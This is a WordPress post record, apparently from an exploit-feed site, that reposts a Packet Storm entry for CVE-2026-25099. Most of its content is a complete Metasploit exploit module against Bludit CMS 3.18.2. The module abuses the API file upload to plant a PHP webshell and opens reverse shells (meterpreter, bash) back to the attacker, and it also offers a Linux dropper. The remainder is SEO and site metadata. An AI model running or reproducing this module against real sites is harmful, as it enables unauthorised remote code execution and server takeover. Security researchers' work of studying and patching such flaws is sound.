{"id":48291,"date":"2026-04-21T12:43:23","date_gmt":"2026-04-21T12:43:23","guid":{"rendered":"http:\/\/localhost\/?p=48291"},"modified":"2026-04-21T12:43:23","modified_gmt":"2026-04-21T12:43:23","slug":"bludit-cms-3182-shell-upload","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=48291","title":{"rendered":"\ud83d\udcc4 Bludit CMS 3.18.2 Shell Upload_PACKETSTORM:219380"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-21T16:43:54&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module targets a vulnerability in Bludit CMS version 3.18.2 targeting the API file upload mechanism which allows authenticated users with a valid API token to upload arbitrary files without proper validation. This can result in a shell&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-04-21T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-04-21T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Bludit CMS 3.18.2 Shell Upload&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:219380&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-25099&#8243;],&#8221;sourceData&#8221;:&#8221;==================================================================================================================================\\n    | # Title     : Bludit CMS 3.18.2 Unrestricted File Upload Leading to Remote Code Execution                                      |\\n    | # Author    : indoushka                                                                                                        |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits)                                                 |\\n    | # Vendor    : https:\/\/github.com\/bludit\/bludit\/archive\/refs\/tags\/3.18.2.zip                                                    |\\n    ==================================================================================================================================\\n    \\n    [+] Summary    : This Metasploit module targets a vulnerability in Bludit CMS (API file upload mechanism) that allows authenticated users with a valid API token to upload arbitrary files without proper validation.\\n    \\n    \\n    [+] POC        :  \\n    \\n    ##\\n    # This module requires Metasploit: https:\/\/metasploit.com\/download\\n    # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n    ##\\n    \\n    class MetasploitModule \\u003c Msf::Exploit::Remote\\n      Rank = ExcellentRanking\\n    \\n      include Msf::Exploit::Remote::HttpClient\\n      include Msf::Exploit::FileDropper\\n      include Msf::Exploit::CmdStager\\n    \\n      def initialize(info = {})\\n        super(\\n          update_info(\\n            info,\\n            &#8216;Name&#8217; =\\u003e &#8216;Bludit CMS API Unrestricted File Upload to RCE&#8217;,\\n            &#8216;Description&#8217; =\\u003e %q{\\n              Bludit CMS API plugin allows an authenticated user with a valid API token\\n              to upload files of any type and extension via POST \/api\/files\/\\u003cpage-key\\u003e.\\n    \\n              The uploadFile() function performs no file extension or content validation,\\n              allowing upload of PHP webshells that execute as www-data.\\n    \\n              The API token is generated when the API plugin is activated and is visible\\n              to users with admin panel access. Tokens may also be exposed through\\n              misconfiguration, log files, or other application vulnerabilities.\\n    \\n              This module exploits the unrestricted file upload to upload a PHP payload\\n              and execute arbitrary commands on the target system.\\n    \\n              Tested on Bludit 3.18.2 on Ubuntu 24.04 LTS \/ Apache 2.4 \/ PHP 8.3.\\n            },\\n            &#8216;Author&#8217; =\\u003e [\\n              &#8216;indoushka&#8217;\\n            ],\\n            &#8216;References&#8217; =\\u003e [\\n              [&#8216;CVE&#8217;, &#8216;2026-25099&#8217;],\\n              [&#8216;URL&#8217;, &#8216;https:\/\/github.com\/bludit\/bludit&#8217;],\\n              [&#8216;URL&#8217;, &#8216;https:\/\/yh.do&#8217;]\\n            ],\\n            &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n            &#8216;Platform&#8217; =\\u003e [&#8216;php&#8217;, &#8216;unix&#8217;, &#8216;linux&#8217;],\\n            &#8216;Arch&#8217; =\\u003e [ARCH_PHP, ARCH_CMD],\\n            &#8216;Targets&#8217; =\\u003e [\\n              [\\n                &#8216;PHP In-Memory&#8217;,\\n                {\\n                  &#8216;Platform&#8217; =\\u003e &#8216;php&#8217;,\\n                  &#8216;Arch&#8217; =\\u003e ARCH_PHP,\\n                  &#8216;Type&#8217; =\\u003e :php_memory,\\n                  &#8216;DefaultOptions&#8217; =\\u003e {\\n                    &#8216;PAYLOAD&#8217; =\\u003e &#8216;php\/meterpreter\/reverse_tcp&#8217;\\n                  }\\n                }\\n              ],\\n              [\\n                &#8216;Unix Command&#8217;,\\n                {\\n                  &#8216;Platform&#8217; =\\u003e &#8216;unix&#8217;,\\n                  &#8216;Arch&#8217; =\\u003e ARCH_CMD,\\n                  &#8216;Type&#8217; =\\u003e :unix_cmd,\\n                  &#8216;DefaultOptions&#8217; =\\u003e {\\n                    &#8216;PAYLOAD&#8217; =\\u003e &#8216;cmd\/unix\/reverse_bash&#8217;\\n                  }\\n                }\\n              ],\\n              [\\n                &#8216;Linux Dropper&#8217;,\\n                {\\n                  &#8216;Platform&#8217; =\\u003e &#8216;linux&#8217;,\\n                  &#8216;Arch&#8217; =\\u003e [ARCH_X86, ARCH_X64],\\n                  &#8216;Type&#8217; =\\u003e :linux_dropper,\\n                  &#8216;DefaultOptions&#8217; =\\u003e {\\n                    &#8216;PAYLOAD&#8217; =\\u003e &#8216;linux\/x64\/meterpreter\/reverse_tcp&#8217;\\n                  }\\n                }\\n              ]\\n            ],\\n            &#8216;DefaultTarget&#8217; =\\u003e 0,\\n            &#8216;DisclosureDate&#8217; =\\u003e &#8216;2026-03-28&#8217;,\\n            &#8216;Notes&#8217; =\\u003e {\\n              &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n              &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n              &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\\n            }\\n          )\\n        )\\n    \\n        register_options([\\n          OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;Base path for Bludit installation&#8217;, &#8216;\/&#8217;]),\\n          OptString.new(&#8216;API_TOKEN&#8217;, [true, &#8216;Bludit API authentication token&#8217;, &#8221;]),\\n          OptString.new(&#8216;PAGE_KEY&#8217;, [false, &#8216;Specific page key to use (if not provided, will auto-discover)&#8217;, &#8221;]),\\n          OptInt.new(&#8216;SHELL_TIMEOUT&#8217;, [true, &#8216;Timeout for shell commands in seconds&#8217;, 10])\\n        ])\\n    \\n        register_advanced_options([\\n          OptString.new(&#8216;SHELL_FILENAME&#8217;, [false, &#8216;Custom webshell filename (random if not set)&#8217;, &#8221;]),\\n          OptBool.new(&#8216;CLEANUP&#8217;, [true, &#8216;Delete uploaded shell after session&#8217;, true])\\n        ])\\n      end\\n    \\n      def setup\\n        @base_uri = normalize_uri(target_uri.to_s)\\n        @api_token = datastore[&#8216;API_TOKEN&#8217;]\\n        @page_key = datastore[&#8216;PAGE_KEY&#8217;]\\n        @shell_filename = datastore[&#8216;SHELL_FILENAME&#8217;] || \\&#8221;#{Rex::Text.rand_text_alpha_lower(8)}.php\\&#8221;\\n        @shell_url = nil\\n        @uploaded = false\\n      end\\n    \\n      def check\\n        print_status(\\&#8221;Checking Bludit CMS version and API accessibility&#8230;\\&#8221;)\\n    \\n        res = send_request_cgi({\\n          &#8216;uri&#8217; =\\u003e normalize_uri(@base_uri, &#8216;api&#8217;, &#8216;pages&#8217;),\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;vars_get&#8217; =\\u003e { &#8216;token&#8217; =\\u003e @api_token }\\n        })\\n    \\n        return Exploit::CheckCode::Unknown(&#8216;No response from target&#8217;) unless res\\n    \\n        if res.code == 200\\n          begin\\n            json = JSON.parse(res.body)\\n    \\n            if json[&#8216;status&#8217;] == &#8216;0&#8217; \\u0026\\u0026 json[&#8216;data&#8217;].is_a?(Array)\\n              print_good(\\&#8221;API token appears valid\\&#8221;)\\n    \\n              res_version = send_request_cgi({\\n                &#8216;uri&#8217; =\\u003e normalize_uri(@base_uri, &#8216;bl-kernel&#8217;, &#8216;version.php&#8217;),\\n                &#8216;method&#8217; =\\u003e &#8216;GET&#8217;\\n              })\\n    \\n              if res_version \\u0026\\u0026 res_version.code == 200\\n                if res_version.body =~ \/BLUDIT_VERSION[\\&#8221;&#8216;]\\\\s*,\\\\s*[&#8216;\\&#8221;]([^&#8217;\\&#8221;]+)[&#8216;\\&#8221;]\/\\n                  version = Regexp.last_match(1)\\n    \\n                  print_status(\\&#8221;Detected Bludit version: #{version}\\&#8221;)\\n    \\n                  if Rex::Version.new(version) \\u003c Rex::Version.new(&#8216;3.18.4&#8217;)\\n                    print_good(\\&#8221;Version #{version} appears vulnerable (fixed in 3.18.4)\\&#8221;)\\n                    return Exploit::CheckCode::Appears\\n                  else\\n                    print_warning(\\&#8221;Version #{version} may be patched\\&#8221;)\\n                    return Exploit::CheckCode::Detected\\n                  end\\n                end\\n              end\\n    \\n              return Exploit::CheckCode::Vulnerable(&#8216;API accessible, likely vulnerable&#8217;)\\n            else\\n              return Exploit::CheckCode::Safe(&#8216;API token invalid or no access&#8217;)\\n            end\\n    \\n          rescue JSON::ParserError\\n            return Exploit::CheckCode::Unknown(&#8216;Invalid JSON response&#8217;)\\n          end\\n        elsif [401, 403].include?(res.code)\\n          return Exploit::CheckCode::Safe(&#8216;Unauthorized API token&#8217;)\\n        else\\n          return Exploit::CheckCode::Safe(\\&#8221;HTTP #{res.code}\\&#8221;)\\n        end\\n      end\\n    \\n      def get_page_key\\n        unless @page_key.to_s.empty?\\n          print_status(\\&#8221;Using provided page key: #{@page_key}\\&#8221;)\\n          return @page_key\\n        end\\n    \\n        res = send_request_cgi({\\n          &#8216;uri&#8217; =\\u003e normalize_uri(@base_uri, &#8216;api&#8217;, &#8216;pages&#8217;),\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;vars_get&#8217; =\\u003e { &#8216;token&#8217; =\\u003e @api_token }\\n        })\\n    \\n        unless res \\u0026\\u0026 res.code == 200\\n          fail_with(Failure::UnexpectedReply, \\&#8221;Failed to retrieve pages\\&#8221;)\\n        end\\n    \\n        json = JSON.parse(res.body) rescue nil\\n    \\n        if json \\u0026\\u0026 json[&#8216;status&#8217;] == &#8216;0&#8217; \\u0026\\u0026 json[&#8216;data&#8217;].is_a?(Array) \\u0026\\u0026 !json[&#8216;data&#8217;].empty?\\n          page_key = json[&#8216;data&#8217;][0][&#8216;key&#8217;]\\n          print_good(\\&#8221;Found page key: #{page_key}\\&#8221;)\\n          return page_key\\n        end\\n    \\n        fail_with(Failure::NotFound, &#8216;No valid page key found&#8217;)\\n      end\\n    \\n      def upload_payload(payload_content, payload_filename)\\n        print_status(\\&#8221;Uploading payload: #{payload_filename}\\&#8221;)\\n    \\n        fail_with(Failure::BadConfig, &#8216;Page key missing&#8217;) unless @page_key\\n    \\n        data = Rex::MIME::Message.new\\n        data.add_part(@api_token, nil, nil, &#8216;form-data; name=\\&#8221;token\\&#8221;&#8216;)\\n        data.add_part(payload_content, &#8216;application\/x-php&#8217;, nil,\\n                      \\&#8221;form-data; name=\\\\\\&#8221;file\\\\\\&#8221;; filename=\\\\\\&#8221;#{payload_filename}\\\\\\&#8221;\\&#8221;)\\n    \\n        res = send_request_cgi({\\n          &#8216;uri&#8217; =\\u003e normalize_uri(@base_uri, &#8216;api&#8217;, &#8216;files&#8217;, @page_key),\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;ctype&#8217; =\\u003e \\&#8221;multipart\/form-data; boundary=#{data.bound}\\&#8221;,\\n          &#8216;data&#8217; =\\u003e data.to_s\\n        })\\n    \\n        fail_with(Failure::Unreachable, &#8216;No response&#8217;) unless res\\n    \\n        if res.code == 200\\n          json = JSON.parse(res.body) rescue {}\\n    \\n          if json[&#8216;status&#8217;] == &#8216;0&#8217; || res.body.include?(&#8216;success&#8217;)\\n            shell_url = normalize_uri(@base_uri, &#8216;bl-content&#8217;, &#8216;uploads&#8217;, &#8216;pages&#8217;, @page_key, payload_filename)\\n            print_good(\\&#8221;Uploaded: #{shell_url}\\&#8221;)\\n            return shell_url\\n          end\\n    \\n          fail_with(Failure::UnexpectedReply, &#8216;Upload failed&#8217;)\\n        end\\n    \\n        fail_with(Failure::UnexpectedReply, \\&#8221;HTTP #{res.code}\\&#8221;)\\n      end\\n    \\n      def execute_command_php(shell_url, cmd)\\n        res = send_request_cgi({\\n          &#8216;uri&#8217; =\\u003e shell_url,\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;vars_get&#8217; =\\u003e { &#8216;cmd&#8217; =\\u003e cmd },\\n          &#8216;timeout&#8217; =\\u003e datastore[&#8216;SHELL_TIMEOUT&#8217;]\\n        })\\n    \\n        return unless res \\u0026\\u0026 res.code == 200\\n    \\n        res.body.to_s\\n      end\\n    \\n      def execute_command(cmd, opts = {})\\n        return unless @shell_url\\n    \\n        command = cmd.is_a?(Array) ? cmd.join(&#8216; &#8216;) : cmd\\n        print_status(\\&#8221;Executing: #{command}\\&#8221;)\\n    \\n        output = execute_command_php(@shell_url, command)\\n    \\n        print_status(\\&#8221;Output:\\\\n#{output}\\&#8221;) if output\\n      end\\n    \\n      def exploit\\n        print_status(\\&#8221;Bludit RCE Exploit\\&#8221;)\\n    \\n        @page_key = get_page_key\\n    \\n        @payload_name = @shell_filename\\n        webshell = \\&#8221;\\u003c?php #{payload.encoded} ?\\u003e\\&#8221;\\n        @shell_url = upload_payload(webshell, @payload_name)\\n        @uploaded = true\\n    \\n        register_file_for_cleanup(\\&#8221;bl-content\/uploads\/pages\/#{@page_key}\/#{@payload_name}\\&#8221;)\\n    \\n        send_request_cgi({ &#8216;uri&#8217; =\\u003e @shell_url, &#8216;method&#8217; =\\u003e &#8216;GET&#8217; })\\n    \\n        handler\\n      end\\n    \\n      def on_new_session(session)\\n        super\\n    \\n        return unless datastore[&#8216;CLEANUP&#8217;] \\u0026\\u0026 @uploaded \\u0026\\u0026 @shell_url \\u0026\\u0026 @payload_name\\n    \\n        begin\\n          upload_path = \\&#8221;bl-content\/uploads\/pages\/#{@page_key}\/#{@payload_name}\\&#8221;\\n    \\n          if session.type == &#8216;meterpreter&#8217;\\n            session.fs.file.rm(upload_path)\\n          elsif session.type == &#8216;shell&#8217;\\n            session.shell_write(\\&#8221;rm -f #{upload_path}\\\\n\\&#8221;)\\n          end\\n        rescue\\n          print_warning(\\&#8221;Manual cleanup required\\&#8221;)\\n        end\\n      end\\n    end\\n    \\t\\n    Greetings to :==============================================================================\\n    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n    ============================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/219380&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:8.8,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/219380\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-21T16:43:54&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module targets a vulnerability in Bludit CMS version 3.18.2 targeting the API file upload mechanism which allows authenticated users with a valid API&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,41,12,15,13,53,7,11,5],"class_list":["post-48291","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-88","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Bludit CMS 3.18.2 Shell Upload_PACKETSTORM:219380 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=48291\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Bludit CMS 3.18.2 Shell Upload_PACKETSTORM:219380 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-04-21T16:43:54&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module targets a vulnerability in Bludit CMS version 3.18.2 targeting the API file upload mechanism which allows authenticated users with a valid API...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=48291\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-04-21T12:43:23+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"8 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=48291#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=48291\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Bludit CMS 3.18.2 Shell Upload_PACKETSTORM:219380\",\"datePublished\":\"2026-04-21T12:43:23+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=48291\"},\"wordCount\":1634,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-8.8\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=48291#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=48291\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=48291\",\"name\":\"\ud83d\udcc4 Bludit CMS 3.18.2 Shell Upload_PACKETSTORM:219380 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-04-21T12:43:23+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=48291#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=48291\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=48291#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Bludit CMS 3.18.2 Shell Upload_PACKETSTORM:219380\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Bludit CMS 3.18.2 Shell Upload_PACKETSTORM:219380 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=48291","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Bludit CMS 3.18.2 Shell Upload_PACKETSTORM:219380 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-04-21T16:43:54&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module targets a vulnerability in Bludit CMS version 3.18.2 targeting the API file upload mechanism which allows authenticated users with a valid API...","og_url":"https:\/\/zero.redgem.net\/?p=48291","og_site_name":"zero redgem","article_published_time":"2026-04-21T12:43:23+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"8 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=48291#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=48291"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Bludit CMS 3.18.2 Shell Upload_PACKETSTORM:219380","datePublished":"2026-04-21T12:43:23+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=48291"},"wordCount":1634,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-8.8","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=48291#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=48291","url":"https:\/\/zero.redgem.net\/?p=48291","name":"\ud83d\udcc4 Bludit CMS 3.18.2 Shell Upload_PACKETSTORM:219380 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-04-21T12:43:23+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=48291#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=48291"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=48291#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Bludit CMS 3.18.2 Shell Upload_PACKETSTORM:219380"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/48291","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=48291"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/48291\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=48291"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=48291"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=48291"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}